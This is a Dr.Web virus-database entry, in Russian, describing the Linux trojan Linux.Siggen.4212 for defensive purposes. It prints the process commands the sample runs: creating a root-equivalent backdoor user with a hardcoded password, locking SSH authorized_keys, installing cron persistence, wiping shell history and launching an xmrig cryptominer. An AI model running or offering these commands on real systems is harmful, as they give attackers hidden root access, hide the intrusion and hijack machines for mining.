Linux.Siggen.4212

Linux.Siggen.4212

Добавлен в вирусную базу Dr.Web: 2021-09-14

Описание добавлено: 2021-09-13

Для обеспечения автоматического запуска и распространения:

Создает или модифицирует следующие файлы:

Вредоносные функции:

Получает доступ к ключам SSH

Управляет службами:

Запускает процессы:

/bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
<SAMPLE_FULL_PATH>
/bin/bash <SAMPLE_FULL_PATH> -c
/usr/bin/curl -s -connect-timeout 4 -m 4 ifconfig.me
rm -rf *timeout
whoami
date +%m/%d/%Y
mkdir /var/tmp/.ladyg0g0/
id -u
sleep 0.5
cat /var/tmp/.ladyg0g0/.pr1nc35
chmod 777 xmrig
cat /etc/passwd
grep -q cacar
/usr/sbin/useradd -u0 -g0 -o -s /bin/bash cacar
nscd -i passwd
nscd -i group
usermod -aG sudo cacar
passwd cacar
yes Cacar12mocangeala
mkdir /usr/.SQL-Unix
mkdir /usr/.SQL-Unix/.SQL
uname -a
chattr -i /root/.ssh
chattr -i /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
crontab -l
grep -q .black
rm -rf /root/.5p4rk3l5
sleep 1
crontab /root/.5p4rk3l5
rm -rf /root/.bashrc
rm -rf /root/.bash_history
chmod 777 /root/.b4nd1d0
/root/./.b4nd1d0
pgrep -x xmrig
/root/./xmrig
bash -c yum install -y rsync >/dev/null 2>&1 & disown
cp -avr /root /usr/bin/.locatione
chmod 777 /usr/bin/sshd
chmod 644 /lib/systemd/system/myservice.service

Выполняет операции с файловой системой:

Модифицирует права доступа к файлам:

Создает папки:

Создает символические ссылки (симлинки):

Создает или модифицирует файлы:

Удаляет файлы:

Прочее:

Собирает информацию о CPU

Собирает информацию об оперативной памяти